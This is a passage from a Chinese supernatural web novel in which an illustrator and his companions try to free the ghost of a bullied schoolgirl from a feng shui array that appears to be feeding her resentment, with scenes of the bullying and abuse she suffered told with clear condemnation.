吴惟蹙着眉问了一句:“有办法救她出来吗?”
“我可以问你一个问题吗?”夙明月转身很认真地看着走到身侧的吴惟。
吴惟抬头,疑惑地看着夙明月的嘴,等他开口。
别误会,没什么特殊的含义,只是社恐社恐从不敢对视。
“你为什么一定要救她?”
“……”
“要知道一般能请动风水师布阵镇压的鬼,都是有伤人倾向的厉鬼,如果把它救出来,很可能会发生不可控的恶性事件,如果是这样,你还坚持要救她吗?”
吴惟转过头,望着水面有些出神,夙明月也不着急,就这么一直盯着他,等一个答案。
夙逸兴戳了戳夙明月,无声地说道,“喂喂,过了啊。”
这时吴惟开口了:“说实话,我没接触过玄门,也不知道你们的规矩是什么,但是我想这个世界起码的公平总要有吧。”
“我看过这孩子的记忆,她从出生起就没有一天是为自己而活,家里重男轻女,从来都没给过她好脸色,弟弟出生之后,每天对她更是非打即骂,把家里所有的脏活累活都扔给了她。”
“能够上这所学校,也是她自己用努力换回来的,本来学校可以成为她的避风港湾,却因为三个室友的打压,嘲讽和造谣,成为地狱。她从来没做错过什么,却连死都要被镇压,这合理吗?”
“如果因为她可能会造成的影响而忽视她本身经历过的苦难,对她来说公平吗?”
吴惟说话的声音很轻,但由于这里空旷只有他们三个,夙家姐弟听的很清楚。
说到这里,他转过了头,很郑重地看着夙明月:“其实我本来也不是一定要救她的,毕竟我知道我没有那个能力,也不认识什么玄门的人。”
“是你们的出现给了我希望。”
夙明月看着吴惟那双清澈见底的眼睛,有些惊讶,问道:“你就不怕我们是骗子?”
吴惟道:“你们不是。”
他在夙明月怔忪的眼神下,认真地回答道:“或许网上的小玉盘有可能是骗子,但是见到你们之后,我们确定你们不是。”
婴灵能判断对方的道行,判官笔能判断对方的善恶,吴惟相信他们的判断。
夙家姐弟听得有点感动,但是不论怎么说,事事无为都太莽了,还是要教育一下的。
刚准备开口,就听到对面说:“何况如果你们是骗子,倒霉的只会是你们。”
夙家姐弟看到刚刚还一脸严肃的无为太太,突然俏皮地眨巴眨巴眼睛,金色的光芒冲天而起,闪的人眼睛都要瞎了。
功德?!
这么多?!
婴灵很满意他们震惊的表情,收起功德,抬了抬下巴接着说道:“而且如果那女孩儿出来真的伤害到无辜的人,我也不是没有办法在伤到她的情况下控制住她的。”
所以,所有的莽撞都是建立在实力的基础上的,才不是真莽,哼!
[啧,快八百岁的人了还是这么皮。]
夙逸兴率先回过神过来,接过话头:“既然无为你这么坦诚,那我们也实话实说了。”
“我们这次来找
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你呢,一个是对你本人感兴趣,另外一方面,确实想帮帮那个女孩儿,但是我们家没有风水传承,按照圈子里的规则,这种情况也不会有风水师接盘,所以我们想到的方法是,先试着消解她的怨念,等她恢复理智,再去找风水师帮忙,你看怎么样。”
婴灵道:“你们打算怎么做?”
“一般来说消解怨念就两个办法,一是强行超度,你有那么多功德这一点你应该做得到。”
“但是我不会这么做的。”
强行超度对鬼是一种伤害,如果执念深重,不愿意放下,那么就只能跟着怨气一起灰飞烟灭了。
夙逸兴:“我想也是,所以只能是第二种,就是帮她报仇。”
“我也是这么想的,但,就是卡在这了啊…”婴灵怨念地说道,“没有人脉,没有证据,和当事人毫无关系,连立场都没…”想用点玄学手段,都要被限制。
最后一句肯定是没有说出口的,不过这点夙家姐弟也懂,毕竟玄门也有类似规定,只不过没有地府严格。
“弟,快上,该你了。”夙逸兴叫了一声夙明月,转头就把他给卖了,“这种事就该让我弟出手,他计算机很厉害的,让他去搜集证据再好不过。”
夙明月:“……”
行叭,亲姐姐,还能怎么办呢。
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“丑八怪,你怎么不去死!”
“贱人,还有胆子告诉老师,你以为他们会帮你,也不看看自己的穷酸样子!”
“啪”
意识还没清醒,突然挨了一巴掌,脸上火辣辣的,吴惟清醒过来,“她”坐在地上,浑身发冷,面前是扭曲了面容的三个高中女生。
这里是宿舍,周围是她的室友。
为首的女生似乎看“她”过于平静,很不满意,一把抓住“她”的头发,把头往地上按,另外两个女生对“她”拳脚相向。
这不是记忆,或者说绝不单纯是记忆。
从此前的幻境发展来看,她们再怎么对待张钰婷也是背后搞些小动作,最严重也就是被关在仓库里那次。
就算事态有什么发展,也绝不可能是在学校里。
要知道动手伤人是要被记大过的,那三个女生还算体面,不会像某些男生一样根本不在乎记过。
并不是刻板印象,有一次吴惟顶着“她”的壳子,从卫生间里出来,被一个男生拉到角落里,一边言语羞辱,一边手伸到“她”胸前,吴惟什么时候见过这种恶心玩意,大脑都宕机了。
好在大学的时候为了画人体准确能够理解动态,体育课报的都是各种武术类课程,虽然基本都是一些花拳绣腿,但至少身体反应还是练起来了点。
虽然动作并不是很光明,一抬腿就朝着下三路踢,但是有效不是,至少这一次“她”没有受什么伤害。
但幻境就是幻境,是曾经发生过的事情再次呈现在吴惟面前,是那个女孩儿的切身经历。
吴惟很少这么愤怒过。
只是可惜,看不到对方的脸。
之后又遇到过好几次,从对方口中拼凑出来一些信息,比如,这件事她告诉了老师,希望老师可以为她主持公道,但是因为对方家势大,再加上校方想要息事宁人,最后也只记了大过。
但是女孩儿又得到了什么呢,因为这件事被传开,有人背后嘲笑她不检点,有人造谣她勾引不成恼羞成怒,也有人同情她的遭遇,但这种时候同情也只是雪上加霜。
更何况,同情归同情,那人再次犯案的时候,谁又敢出来阻止呢?
被不痛不痒的记了一次大过,男生开始变本加厉的报复她,甚至带着社会人士在放学的路上堵她。
毕竟双拳难敌四手,吴惟也不是专门学的武术,再加上身体虚弱,那一次眼睁睁地看着女孩儿被欺负。
张钰婷毕竟不是为了伤害吴惟才拉他入幻境的,在被推倒的前一秒,就把他的意识抽离了那具身体,只是哪怕吴惟不忍看下去,哪怕闭上眼睛画面依旧清晰…
当时醒来之后他就给夙明月发消息,希望他可以查到那个男生的信息。
这是前两天的事了,然而这一次不一样。
吴惟感到不对劲的原因,不仅仅是三个女生的体面,还有就是之前一旦身体上要受到什么伤害,他都会被踢出躯壳。
那个女孩儿一向把他保护的很好。
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13. 第 13 章
吴惟被按倒在地,身上被踹了好几脚,艰难地睁开眼睛,周围的一切变得模糊了。
隐隐约约能看到很多人的脚,从四面八方传来辱骂声,但都像隔着水面听不真切。
什么“赔钱货”,什么“不要脸”,什么“穷酸鬼”…
吴惟意识到不能再这么下去了,女孩儿的意识肯定出了什么变故。
身上又冷又疼,心脏跳得慌乱不已,他知道,这是灵觉在给自己报警了。
只是报警,也许是因为自己有办法应对。
“我身上除了愿力也没有别的东西了,婴灵说愿力是作用于灵魂上的,不如试着调动一下,也许不借助符阵也可以用。”
吴惟都佩服现在自己的冷静,他摒弃周遭的纷扰,闭上眼睛,把意识集中在一个点,想象着把愿力集中在脑袋里的感觉。
忽然眼前一阵白光,心头变得温暖起来,身体上的不适也逐渐消失。
吴惟睁开眼,周遭的一切变成扭曲无序的黑雾和狂乱的线条,被白色的光芒隔绝在外。
不远处有一个抱着膝盖蜷缩着得女孩儿,她看到吴惟的时候,才慢慢抬起头,放松了身体,跪坐在地上,呆呆地看过来。
这个女孩儿他不陌生,在幻境的时候,偶尔能从镜子里看到她的长相。因为长年营养不良导致个子小小的,面色也不好,说一句面黄肌瘦都不为过。
除了可能因为遗传,有一对比较丰满的胸部以外,几乎皮包骨头一般。
大概也是因为这不正常的大胸,才会召来某些臭恶的男生。
长在自己身上的时候没什么感觉,从旁人的角度来看,吴惟才突然发现了这一点。
难怪她总是驼着背走路!难怪都那么隐藏自己了还会被人造黄谣!
吴惟感觉有些窒息,他很想去安慰面前这个女孩儿,但又知道言语有多么苍白,无论说什么,也许都是二次伤害,并不能帮到她。
在他纠结的时候,女孩终于有了表情。
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这大概是张钰婷第一次感受到温暖,这份温暖是一个陌生人给的。
早在吴惟走进艺术楼的时候,她就注意到了这个人,应该说是这个人身上的白光,张钰婷不知道那是什么,只知道她很喜欢那个东西,很温暖,很想触碰。
反正自己已经死了,大胆一次又怎么样呢,于是她忍着被镇压的痛伸出了手,触碰到白光的一瞬间,仿佛身上所有的伤口都被治愈了,暖洋洋的。
再之后,她被白光牵引着,迷迷糊糊地和对方共享了记忆。
她看到只有几岁的小男孩儿,从小身体就不好,跟个药罐子一样,和别人玩游戏的时候,因为别人总是听不到自己的声音,慢慢变得自闭。
但是谁说自闭的小孩儿一定需要朋友呢,他就不是,于是他徜徉在自己的世界里。
他看到别的小孩儿一起玩耍很开心,就画了一个乐观开朗的自己,给他起了个很快乐的名字;他看到别的小孩儿有宠物,但自己家里没有条件养,于是给快乐的自己画了一只猫猫…再后来,他有了好多朋友。
小学的时候,有人欺负他,利用他软糯的性格占他便宜,直到上初中了回过头才发现,但是他并不在意,扭头就忘了。
初中的时候,有人在班里传播他性情古怪,想要孤立他,而他无知无觉,依旧在自己的本本上画小人。
为了让自己的人物都有独特的人生,他看了很多书,一点一点的去完善,在别人讨论明星八卦,学着动漫人物装酷的时候,他在为了完善世界观,收集零零碎碎的知识,放在脑子里随意打乱组合。
一次次班级活动讨论中,他总是能一针见血找到关键,悄悄和旁边人提起,之后又默默隐身。
刚开始张钰婷还为他的功劳被抢走愤愤不平,直到后来才琢磨出来味道,原来不是他被孤立了,而是单方面孤立了所有人,在自己的世界里过的很快乐。
到了高中,他几乎消失在人前,什么孤立,什么霸凌,根本不存在的,只要不是他主动开口,别人总是会想不起来他。
但这好像正是他想要的,一个人在角落里躲清闲,很快乐,他手下的小人越来越多了。
原来一个人也能很快乐。
张钰婷想起之前学到过的一句话:“壁立千仞,无欲则刚。”
因为对身边的人无所求,所以不在乎别人是怎么看自己的,也就不会被言语伤害了。
是啊,自己如果当初也能这样不在意别人的声音,也就不会被人扎个遍体鳞伤了,虽然依旧会承受身体上的痛苦,但至少心里不会那么痛。
再之后,她每天晚上看着吴惟在自己的记忆幻境里,用着自己的身体,用一种“小屁孩别闹”的眼神看那些曾经霸凌过自己的人,看他替自己收拾曾经欺负过自己的男生,看他把家里骂骂咧咧的父母当成背景音,做着自己的事,吃掉最多的饭,别提有多爽了!
虽然不及小说里突然变强大各种打脸,但这才是现实,因为这是即使她自己来也有可能能够做到的事。
她这么想着,又觉得有些悲哀。
后来她在幻境中感受到了他的愤怒,没过多久,他就带着人来,希望可以把自己救出去。
他为她遭受的不公感到不平。
他为了救她甚至没确认过对方是不是骗子就敢和对方见面。
一个陌生人能为她做到如此境地,真好啊…
最近她觉得越来越力不从心了,醒来的时间很短,思绪浑浑噩噩,理智也逐渐消失。
她意识到这样的自己可能会伤害到那位想要帮自己的大哥哥,竭力控制着怨气不让它扩散。
直到刚刚,她感受到一阵温暖包裹住了自己,耳边嘈杂的声音消失了,身上的冰冷也消失了,身体仿佛回归母体,置身于羊水中,非常放松。
眼前的黑雾散开,包裹住她的是白光,大哥哥就站在白光中,向她看了过来…
她看到大哥哥脸上纠结的表情,有心疼,有安慰,有想要说些什么,但是又怕说错话,嘴唇翕动,眉头皱了又皱。
她很开心,不自觉笑了,能够遇到这么好的人,真好啊。
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婴灵发现吴惟的状态不太对劲,顾不得功德对鬼的伤害,指使着判官笔冲进天井,以水为媒介闯进幻境,就看到这一幕。
怨气被愿力阻隔,愿力幻化出手书上最后一幕的小花园,吴惟安静地跟女孩儿并肩坐在台阶上。
婴灵想了想,觉得自己这样看起来不太威严,幻化成十六七岁的少女模样,才穿过花丛,来到两人面前。
“判官小姐?”
第一次见这样的婴灵,吴惟有些发愣。
眼前的人跟之前的小童几乎没有半分相像,略显稚嫩的鹅蛋脸,剑眉斜飞入鬓,配上凌厉的桃花眼,看起来恣意又张扬,若非地府的官服在身,吴惟都差点没认出来。
吴惟看到了,张钰婷自然也看到了,只不过她的反应更多是害怕,魂体忍不住微微颤抖。
判官对鬼魂多少会有点威压,这是一种规则,只不过婴灵已经小心收敛了,没想到还是造成了影响。
吴惟叹了口气,解释道:“不是因为你,钰婷只是有些怕生,之前那些经历你也知道…”
婴灵舒了一口气:“哦哦,还好还好。”
她两三步走到张钰婷另一边坐下,拉着她的手,轻轻拍了两下,安慰道:“你别怕,等人间事了,我带你去地府,那里就不会有人欺负你了。”
张钰婷抬头,有些惊讶的看着婴灵,心头的恐惧也慢慢被抚平了,怯怯呢喃:“谢谢。”
张钰婷心头有些小雀跃,又来一个好心人,果然好人都喜欢跟好人玩,他们对自己这么好,自己也要做个好人!
愿力空间,可以说是吴惟的主宰,张钰婷的小情绪被吴惟读了个干干净净,自然不会错过这样的想法,当即有些不满她的想法,道:“不是要做个好人,你本来就是好孩子!”
张钰婷有些错愕,扭过头来看着吴惟,听他很认真地说道:“那些人欺负你是他们自己内心阴暗,你从来都没有做错什么,别听他们说什么有的没的,你很好。”
婴灵在一边补充:“生成女孩儿也不是你的错,你知道吗,我也是因为是女孩儿,出生的时候就被垃圾爹给溺死了,后来因为保护了很多和我一样要被溺死女婴,有了功德,当上了地府判官。”
“后来那个垃圾爹被扔到地狱受刑去了,而我,在地府有
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了朋友,有了对我很好的长辈。
“姑娘你要知道,善恶到头终有报,我们好好的做自己,总会的到属于自己的那份机缘的,不用妄自菲薄,你看我们来了,就说明你本身就是很好的人!”
“嗯!”张钰婷眼睛亮亮的,她从来没这么开心过,被人认可的感觉真好。
吴惟也跟着笑了:“钰婷很好,判官小姐也很棒。”
婴灵反而恼了:“喂喂,你这个比我小八百岁的,能不能别老气横休的把我当小孩儿!”
“好的好的。”
“哼,敷衍。”
张钰婷看看两边玩闹的人,眼里尽是羡慕,能这么轻松交流,一定是很好的朋友吧。
婴灵哼了一声,说起了正事:“倒是没想到还没告诉你运用愿力的方式,你居然自己开辟空间了。”
吴惟摊了摊手:“没办法,再不自己想办法,我大概要凉凉了。”
张钰婷知道这是因为自己,有些愧疚道了声歉。
婴灵道:“不怪你,我能感觉出来外面那些怨气是全你自发生成的,好像是被什么东西吸引过来的,至少属于你自己本身的怨气几乎快消磨光了。”
张钰婷有些惊讶,似乎想到什么,轻声说道:“看到吴惟大哥无视那些人,给他们气到跳脚的样子,我确实感觉平静很多。”
婴灵撇了吴惟一眼,一脸揶揄道:“别人打脸都是真打,你是无视,不够爽呐。”
吴惟:“有多大能力行多大事,对不起我就是这么窝囊。”
张钰婷急了:“别这么说,我很喜欢吴惟大哥的处事方法的,真要让我去打脸我肯定做不到,但是想想如果用吴惟大哥的方法对待他们,他们觉得没意思就不会来找我麻烦了,而且…至少这一点,如果是我,也可能也能做得到。”
婴灵有些错愕,看看张钰婷,再看看吴惟,这就被安慰到了?
吴惟很无奈:“每个人都有自己的处事方式,这就是小人物的自我保护法,你有意见?”
“如果是我遇到那种事的话,大概也没有那么多心神去和别人杠,太浪费精力了,况且我小时候身体不好。”
听到这个,张钰婷“噗嗤”笑了出来,吴惟有些疑惑地看着她。
张钰婷解释道:“我之前也看到吴惟大哥你的记忆了,可能因为是第三者视角看的很清晰,初中的时候是有过人故意说你坏话,孤立你的,但是你自己好像没感觉到。”
吴惟:“?”
婴灵笑了,笑得超大声:“他只会单方面孤立所有人哈哈哈哈!”
张钰婷眉眼弯弯也跟着笑了起来:“真的很羡慕吴惟大哥的心态,”只是笑着笑着就有点沮丧,“我当时就觉得,如果我也可以孤立别人,不一味的讨好,一定会好很多。”
吴惟道:“不用这么自责,在那样的家庭环境长大,想要得到别人的认可是人之常情,你已经做的很好了。”
“凡事都是有得有失的,你看,我就因为太过孤立了,现在社交方面总是很头疼呢,而且我学习也没有你好,高考差点没过二本线呢,还是在b类中。”
“也对,虽然前半生过得人不人鬼不鬼的,但是现在我遇到了你们。”张钰婷又笑了,能在消失之前用一辈子的运气遇到这么好的人,走的轻轻松松,也是好事吧。
婴灵看穿了她的想法,胡乱揉了一把张钰婷的脑袋,狠狠道:“不许再想有的没的,我们一定会把你救出去,我还要带你去地府呢,到时候你也会有很多朋友和长辈,不许再想着魂飞魄散了!”
张钰婷呆了呆,她才不是不想生存下去,只是之前不敢想,她觉得能遇到他们已经是很好很好的运气了。
这辈子得到的东西太少了,除了曾经因为成绩进步喜欢自己的老师以外,他们是唯一夸过自己的,她原本觉得这就够了。
但是他们说一定能把自己救出去。
“我可是赏善司判官!最见不得好人落难了!”
“我…谢谢,谢谢你们,真的谢谢你们…”张钰婷胡乱抹了把脸,脸上其实一点泪痕都没有,因为鬼是不流泪的,但是她情绪有多激动,吴惟和婴灵都感受到了。
婴灵抱住张钰婷,轻轻拍着她后背。
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14. 第 14 章
“来说正事吧。”
等张钰婷情绪平复了之后,吴惟示意她们起身,把台阶换成了桌椅,准备开会。
“你这家伙,才刚学会用愿力怎么这么熟练。”婴灵被他这一手惊到了按理说,哪怕是修炼很久的人也不一定能做到这种事。
吴惟:“这不是想想就能做到的吗?”
他还真不知道,毕竟从小到大,他最熟练的事就是想象了,只要见得多,只要是他能画出来,能够想象出空间关系的,通通都可以用愿力捏出来。
“咳…咱们来说正事吧。”婴灵实在听不下去这凡尔赛发言,生硬地转移话题:“说说吧,之前是怎么回事?”
吴惟把之前的经历描述了一遍,道:“感觉像是钰婷被什么东西控制了,才会对我出手,钰婷,你这两天有什么感觉吗?”
“感觉浑浑噩噩的,脑子不清楚的时间更多了,我是被白光…就是愿力笼罩清醒过来之后才发现差点伤到吴惟大哥,对不起。”
吴惟:“这不怪你,那些怨气不是钰婷的,就是从外面吸纳过来的,这会不会跟外反过来的八卦有什么关系,之前看过一个说法,正八卦辟邪,倒八卦招阴。”
“我对八卦不熟,等等我问问。”婴灵说着拿出来判官笔在桌子上一点,桌子上出现了一排不管那个方向看过去都是正面的小字:[确实如此]
吴惟皱着眉,有些不能理解:“按理说学校既然做风水局困住钰婷,肯定是不希望她做出什么不好的事,外面天圆地方的格局不也是这个意思,用中间的天井困住钰婷,之前明月说外面种的都是阳气旺盛,驱邪避凶的橡木…”
“这么想想,天井用柳木和水池本身就有问题吧,更何况外立面上那个倒八卦。”
结合钰婷这段时间的经历,怎么看对方想要的效果都不像是镇压,倒更像养怨气。
婴灵和吴惟对视了一眼,他们想一块去了。
“一边招脏东西,一边镇压,如果不是钰婷的怨气被吴惟给净化了,那么镇压的行为肯定会激怒你,在这种情况下,再吸收外面乱七八糟的怨气,你会变成没有意识的冤灵,到时候事态可就严重了。”
婴灵顺便补充了一条:“下半年要开放艺术楼,到时候人那么多,活人身上的气息虽偏阳,但本身也是阴阳结合的产物,更何况人类的心思并不是只有阳光的一面,怨气被刻意聚集,此消彼长…”
“这么看来,是有人刻意为之。”吴惟的声音也变得冰冷起来。
张钰婷听着脸色愈发难看,浑身忍不住颤抖,“为什么我都死了还要这么被人利用!”
婴灵一拍桌子,怒道:“所以这个幕后黑手我们一定得抓起来!”
判官笔适时提醒:[地府不管人间事,找到线索让夙家姐弟报给玄门去查吧。]
吴惟点点头,说道:“可以,他们官方的力量,肯定比咱们速度快。”
“好了先不说这么远的,现在的主要问题是,我们要怎么出去,我们出去之后钰婷怎么办,有没有什么办法暂时保护她,外面的怨气要怎么净化。”
“第一个问题,我和阿善就能带你出去,第二个问题,主要看你对愿力的把控了,如果你能让愿力空间一直停留在这里,外面的东西暂时进不来。”婴灵瞥了一眼被挡在外层怨气,虽然挡住了,但那玩意还在不断侵蚀愿力。
“但是这不是长久的办法,怨念侵蚀,此消彼长,现在怨气还在不断聚集,这楼又拆不得,啧…”
吴惟冷静道:“那么有没有什么办法,能直接让我把愿力媒介让渡给钰婷?”
“我记得你们有说过,愿力是从正向情绪中产生产生,尤其是祝福,获得愿力需要媒介,我的媒介是画,作为画面的女主角,钰婷应该也能从中分一部分愿力出去吧?”
如果这边也能接收到源源不断的愿力,自然是可以和怨气抗衡的。
张钰婷惊呆了:“什么女主角?”
吴惟反应过来有点尴尬:“那什么,之前我不是看到你的事太愤怒了嘛,把你的故事画出来做成手书发到了网上…对不起没经过你的同意…”
“没关系没关系,吴惟大哥你随便用,”张钰婷眉眼弯弯,轻笑着说道:“或许之前我会怕别人提到我的事,但是现在无所谓了,如果这能帮到你就更好了。”
“谢谢,已经帮到了,我涨了不少粉,还有很多人看过之后,对曾经遭受到霸凌的事感到释然了,它帮了很多人。”
“那就好。”
判官笔看他们这边聊完了,直接给出了答案。
[你认为可以就可以。]
“……我知道了。”
又是我思故我在是吧,这个吴惟最熟悉了。
人的意识本身就能产生能量,潜意识更能决定自己的命运走向,只不过这个东西不好改变,一般人都是被牵着鼻子走的那个。
只是吴惟不喜欢规则,喜欢自己瞎琢磨,这也是吴惟不按套路使用愿力能成功的原因。
若是给他一个锚点,指不定真能撬动全世界。
所以从最开始,判官笔就没给吴惟过什么修炼功法之类的东西,只是让他用自己的想象力去驱动愿力。
吴惟什么都没有做,只是在心底加强了张钰婷和《坠落》的关系,过了没一会儿,张钰婷惊奇得感觉到自己跟空间出现了一丝联系,灵魂都变得轻盈了许多。
耳边出现了一声声诉说和祝福:
“小姐姐要振作呀,我们一起面对…”
“谢谢你让我正视了过往…”
“希望你在另一个世界能够获得爱…”
“……”
“好神奇!”
“这下暂时没有后顾之忧了。”见她接收到了空间,吴惟欣慰点头,并关切地问了一句:“我们先回去和夙家姐弟商量一下,钰婷你一个人可以吗?”
张钰婷:“没问题,你们快回去吧。”
“好。”下一秒吴惟就消失在空间中了。
婴灵:“?”
[有些人倒是挺会举一反三的…]
婴灵嘴角抽了抽,“真是白担心他了,那我也走了,你自己保重。”说完,婴灵也带着判官笔消失了。
.
早上四点半,吴惟迫不及待爬起来给夙家姐弟发消息,说明情况,并问了一下夙明月那边的进度,这才安心躺下继续睡回笼觉。
夙明月早上还有课,六点多就起来了,洗漱完拿起手机就看到小群里几十条消息,打开看了一眼。
好家伙,不看不知道,没想到昨天晚上居然发生这么多事。
如果吴惟猜的不错,那乐子可就大了,镇压厉鬼是一回事,刻意培养恶灵就算在玄学界也是不可饶恕的罪行。
夙明月打开电脑,把最近查到的东西发给了吴惟,就拎着电脑出门了。
宿舍毕竟不是一个人,让室友听到啥就不好了。
去教室的路上给家里长辈打了个电话说明情况,夙父表示这件事暂时不宜声张,让他们先私下调查,毕竟玄门派系比较乱,万一打草惊蛇就不好了。
“楚家家学也是风水,我听你楚叔叔说星垣最近要回国了,你可以请他帮忙。”
楚家和夙家是世交,彼此知根知底,还是可以信任的。
“行,我知道了。”
夙明月挂断电话后,找到楚星垣的电话直接打了过去。
夙明月的社恐可比某人好多了,他只明显针对外人,这种从小一起长大的可不再社恐范围内。
电话接通的很快,夙明月还没开口,那边熟悉的声音就传了过来:“呦,小明月是想我了吗,我这才刚下飞机,就打过来了,最近去学算命了?”
夙明月:“?”
这么巧?
楚星垣这家伙虽然有的时候说话比较欠揍,但从来没有说过假话,比不打诳语的出家人还实诚。
“怎么不说话?听我老爹说你和逸兴都在临市?要不要哥哥去找你们玩?”
“你最近不忙吗?我确实找你有点事,不忙的话这两天过来一趟吧。”
“你还真不客气,行,等我到了给你打电话。”
楚星垣挂断
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电话后,打开车门坐了上去:“尾号1599。”
“是去临大对吧。”
“对,呐,已经确认过了。”
“行,坐稳了。”
.
“不是,等等,你说你到哪了?”夙明月很少炸毛的,但是遇上楚星垣这家伙已经不知道是多少次了。
只听到楚星垣无辜的声音在耳边响起:“我到临大了啊,你不来接我吗?”
“你早上说你在机场的意思是在临市的机场?”
“啊…这不是临走的时候让莫繁那家伙给我算了一卦,他说我回国这一趟可以直接来临市,我还以为他说的是最近的艺术展在临大开呢,没想到刚下飞机你的电话就来了。”
“这怎么不是一种命运的指引呢~”
“……”夙明月摘掉眼镜捏了捏眉心,既然是莫繁算出来的,那应该跟幕后黑手没关系,真是吓了一跳,“行吧,你在门口等我一会儿,我去叫我姐,她应该快下课了。”
“好的呢,我在你们学校附近的猫咖等你们。”
楚星垣坐在靠窗户的位置,伸了个懒腰,起身拿起桌子上放的猫条,朝猫群走去。
然而猫猫们并不买账,看他过来直接溜走。
这会儿是下午,虽然还不到放学时间,但一般这个时候也会有没课的学生来这里放松,但此时猫咖里除了他和老板没有别人。
虽然没有生意,老板也乐得自在。
尤其是看大帅哥被猫溜,也很好玩。
楚星垣可怜巴巴地朝云菲看过去,“老板,你家猫怎么连猫条都买账,这样对待客人是接不到生意的。”
“得了吧,你自己猫见愁管别人家猫什么事!”
夙逸兴推门而入,虽然没听到他刚刚在说什么,但是光看表情就猜到了,从小一起穿开裆裤的,谁还不知道谁。
跟在后面的夙明月也跟着叹气,“老板,要一份卡布奇诺和茉莉花茶,两袋冻干。”
“不要冻干,不行,你们不许在我面前喂猫!”楚星垣反应激烈。
“不行就要喂!”夙逸兴做了个鬼脸。
夙明月实在不想看这俩幼稚鬼打闹,赶紧去拉架,“行了行了,少说两句,今天还有正事呢!”
三人入座,没一会儿茶和点心都端了上来,云菲心情很好,“这绿豆糕是送的,放心吃。”
“谢谢老板。”
“这个老板有意思啊,灵觉好像挺强的就是不知道是哪方面的。”楚星垣盯着云菲离开的方向,喝了口红茶,悠悠道。
“你管人家什么方向呢。”夙逸兴翻了个白眼,又不是所有灵觉强的人都是玄门的,“行了,来说我们的事。”
夙逸兴开始讲述之前遇到的事,夙明月在一边补充。
其实之前他们有想过请楚星垣帮忙,但是一来夙逸兴看他有点不顺眼,二来这家伙在国外上学,远水解不了近渴,索性就没联系他。
只是没想到遇到的事有点大,这家伙又自己跑了过来,既然遇上了,自然要多拉一个苦力。
“事情大概就是这样,对了,我顺便把发现这件事的那位也请来了,你不介意吧。”
“当然,听你的描述,我对这人挺还感兴趣的。”楚星垣眯起眼睛,这家伙遇到感兴趣的事总是这样。
德育距离临大挺远的,一个在城东,一个在城西,吴惟坐了俩小时车才到。
三人事情都聊得差不多了,楚星垣依旧不死心地跑去追猫,追得满屋子鸡飞狗跳,突然,缅因“喵”了一声,扑向门口。
吴惟刚一进门,就被什么东西撞了一下。
好在平时有健身,下盘还算稳,低头就看见那只油光水滑的缅因一翻肚皮,躺在地上碰瓷。
放眼望去,门口已经被猫淹了,再之后,一声惨叫吸引了吴惟的目光,只见一个身材颀长,目测大概有一米九的高大帅哥,不可置信地瞪着他,“你不许撸猫!”
“噗…”
云菲笑了,夙家姐弟也笑了。
对比真的好惨烈哦。
.
15. 第 15 章
“喵姐。”吴惟很艰难地走进店里,跟云菲打了声招呼。
“可别,我觉得你才是那个喵姐,哦不对,喵哥。”云菲捂嘴偷笑,“你看看,猫猫们对你比对我都好。”
“您就别调侃我了。”吴惟无奈,“我可不想哪天咱们班群又改成[喵哥和他的后宫]。”
然后他的标签绝对会变成[万人迷喵哥],或者[魅魔喵]之类的,真是熟悉的让人心酸。
“好的,神子大人,想喝什么,我请客。”一杯茶换一个乐子挺值的。
“金桔柠檬,谢谢。”点完单,吴惟看了看无处下脚的地板猫毯,问了一句,“我要怎么过去。”
“噗…”云菲再次忍不住笑出声。
吴惟面无表情地机械转头。
“好了好了不笑你了,乖乖崽们,让个位置看看让客人进去。”
“喵~”缅因老大哥率先站起来,指挥起猫猫队,很快猫猫如摩西分海让出了道。
吴惟:“?”
因待遇差别自闭的楚星垣:“?”
吴惟入座后,他们的位置直接被猫猫包围了,楚星垣这个动物绝缘体也有幸撸到了两把。
夙逸兴咂咂嘴,感叹道:“这就是愿力修者嘛,真是恐怖如斯。”
“好像是的。”吴惟点头。
“也对,毕竟愿力说白了就是正向情绪提供的能量,是纯粹无害的,会招小动物喜欢很正常,”夙逸兴一边感叹一边科普:“当然这个前提是你本身就是个好人,不然小动物敏感,你用心思不纯,就算修愿力,它们也是会感觉出来的。”
果然无为太太是很好的人呢。
云菲再次端着盘子上来,这次不仅有吴惟点的金桔柠檬,还送了一盘红豆糯米糍和水果的拼盘,脸色有些揶揄,道:“这是猫猫们送的,神子大人,不用客气哦~”
感受到周围古怪的目光,吴惟表情变得一言难尽。
终于忍无可忍,狠狠吐槽道:“倒也不必每次都叫外号吧。”
云菲假装没听到,离开的步伐充满了愉悦,哎呀呀~现在又多了一对cp可以嗑呢,对猫猫求而不得的猫奴和能够让他撸到猫的万猫迷,好嗑,嘻嘻。
可怜的事业cp被她扔到了角落,谁让她是杂食党呢,什么都嗑只会让她更健康!
“没想到无为你居然和学姐认识欸。”夙逸兴撑着脸,眼睛溜溜达达在云菲和吴惟只见扫来扫去。
“嗯,我们是大学同学。”
“哦豁,那你还是我们学长呢。”
“嗯。”
某人还真是把戳一下动一下的社恐本质发挥到了极致呢:)
“咳…私事就聊到这里吧,”夙明月适时插话道:“先介绍一下,我身边这位是楚星垣,是一位风水师,本职是建筑师。”
楚星垣矜持点头,“你好。”
嗯,得给对方留下个好印象,方便以后撸猫。
“你好,我是吴惟,插画师,嗯…愿力修者?你们刚刚好想是这么称呼的?”
“修愿力的话一般在古代都是神修,只不过到现代不讲究那些了,”夙逸兴补充道,她挺喜欢给吴惟科普玄学知识的,这位社恐太太有点好玩,“所以其实学姐叫你神子大人一点毛病也没有。”
吴惟脸色一僵,话题怎么又拐回来了。
夙明月无奈瞪了一眼姐姐,赶紧把话题扯回来:“好了,咱们先来汇总一下最近得到的信息,有什么不全的无为补充。”
“好。”
“先说说咱的委托人的个人情况吧,张钰婷,临市本地人,老家是农村的,她的父母有严重的重男轻女倾向,平时没事对她非打即骂,几乎家里所有的活都是她包揽的。”
“张钰婷初中的时候学习非常好,升学考试的时候,以近乎满分的成绩考进德育高中,也是因为这个可以免去学费和学杂费继续上学的。”
“我在网上看到她弟弟张钰宴提到过,如果不是为了读过高中以后好找工作养家,以及有一定学历好嫁人,家里根本不会同意她继续上学。”
“这家人是真畜生。”夙逸兴听一次骂一次。
“能找到她父母家暴的证据吗?”吴惟也听的很揪心,不过这些事他其实也清楚,因为他是“亲身经历”过的。
在幻境里,因为他冷漠的态度,那对夫妻估计怕他跑了才没对“她”真的动手,但是张钰婷本人就不一定了。
按理来说,不管是家暴还是虐待儿童都应该受到法律制裁,但是…“没有。哪怕她的邻居可以证明,他们也不可能去做吃力不讨好的事,更何况当初没有留下伤检。”
婴灵顶着吴惟的壳子冷笑道:“没关系,人间处罚不了,不是还有地府,总会付出代价的。”
